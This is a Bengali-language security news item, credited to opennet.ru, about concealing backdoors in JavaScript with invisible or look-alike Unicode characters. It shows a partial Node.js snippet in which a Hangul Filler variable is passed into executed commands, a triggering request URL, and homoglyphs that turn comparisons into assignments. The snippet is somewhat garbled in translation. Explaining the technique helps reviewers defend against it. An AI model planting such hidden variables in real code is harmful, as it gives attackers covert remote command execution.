জাভাস্ক্রিপ্ট কোডে অ্যাকশন লুকানোর জন্য অদৃশ্য ইউনিকোড অক্ষর ব্যবহার করা

ট্রোজান সোর্স আক্রমণ পদ্ধতি অনুসরণ করে, যা ইউনিকোড অক্ষরের ব্যবহারের উপর ভিত্তি করে যা দ্বিমুখী পাঠ্যের প্রদর্শনের ক্রম পরিবর্তন করে, লুকানো ক্রিয়াগুলি প্রবর্তনের জন্য আরেকটি কৌশল প্রকাশিত হয়েছে, যা জাভাস্ক্রিপ্ট কোডের ক্ষেত্রে প্রযোজ্য। নতুন পদ্ধতিটি ইউনিকোড অক্ষর "ㅤ" (কোড 0x3164, "হাঙ্গুল ফিলার") ব্যবহারের উপর ভিত্তি করে তৈরি করা হয়েছে, যা অক্ষরের বিভাগের অন্তর্গত, কিন্তু কোন দৃশ্যমান বিষয়বস্তু নেই। যে ইউনিকোড শ্রেণীতে এই অক্ষরটি রয়েছে সেটিকে জাভাস্ক্রিপ্ট ভেরিয়েবলের নামে ব্যবহারের জন্য ECMAScript 2015 স্পেসিফিকেশন থেকে অনুমতি দেওয়া হয়েছে, যা নোটপ্যাড++ এবং VS কোডের মতো জনপ্রিয় কোড এডিটরগুলিতে অন্য ভেরিয়েবল থেকে অদৃশ্য ভেরিয়েবল বা নতুন ভেরিয়েবল তৈরি করা সম্ভব করে।

উদাহরণ হিসেবে, Node.js প্ল্যাটফর্মের জন্য কোড দেওয়া হয়েছে, যেখানে, একটি একক অক্ষর “ㅤ” সমন্বিত একটি ভেরিয়েবল ব্যবহার করে, একটি ব্যাকডোর লুকানো থাকে যা আক্রমণকারীর দ্বারা নির্দিষ্ট করা কোড চালানোর অনুমতি দেয়: app.get('/ network_health', async (req, res) = > { const { timeout,ㅤ} = req.query; // আসলে এটা বলে “const { timeout,ㅤ \u3164}” const checkCommands = [ 'ping -c 1 google। com', 'curl -s http:// example.com/',ㅤ // কমা অক্ষর দ্বারা অনুসরণ করা হয় \u3164 ];

প্রথম নজরে, শুধুমাত্র টাইমআউট মানটি বাহ্যিক প্যারামিটারের মাধ্যমে পাস করা হয়, এবং কার্যকর করা কমান্ড সহ অ্যারে একটি নিরীহ স্থির তালিকা ধারণ করে। কিন্তু আসলে, টাইমআউট ভেরিয়েবলের পরে, ক্যারেক্টার কোড \u3164 সহ আরেকটি অদৃশ্য ভেরিয়েবলের মান নির্ধারণ করা হয়, যা এক্সিকিউটেবল কমান্ডের অ্যারেতে প্রতিস্থাপিত হয়। সুতরাং, যদি এই ধরনের একটি নকশা উপলব্ধ থাকে, তাহলে একজন আক্রমণকারী ব্যাকডোর সক্রিয় করতে এবং তাদের কোড কার্যকর করতে "https://host:8080/network_health?%E3%85%A4=command" এর মতো একটি অনুরোধ পাঠাতে পারে।

আরেকটি উদাহরণ হল "ǃ" অক্ষর (ALVEOLAR CLICK), যা একটি বিস্ময়সূচক বিন্দু নির্দেশ করার জন্য ব্যবহার করা যেতে পারে। উদাহরণ স্বরূপ, Node.js 14-এ সম্পাদিত হলে “if(environmentǃ=ENV_PROD){” অভিব্যক্তিটি সর্বদা সত্য হবে, কারণ এটি পার্থক্য পরীক্ষা করে না, কিন্তু পরিবর্তনশীল “environmentǃ”-এ ENV_PROD-এর মান নির্ধারণ করে। অন্যান্য বিভ্রান্তিকর ইউনিকোড অক্ষরগুলির মধ্যে রয়েছে "／", "−", "＋", "⩵", "❨", "⫽", "꓿" এবং "∗"।

উত্স: opennet.ru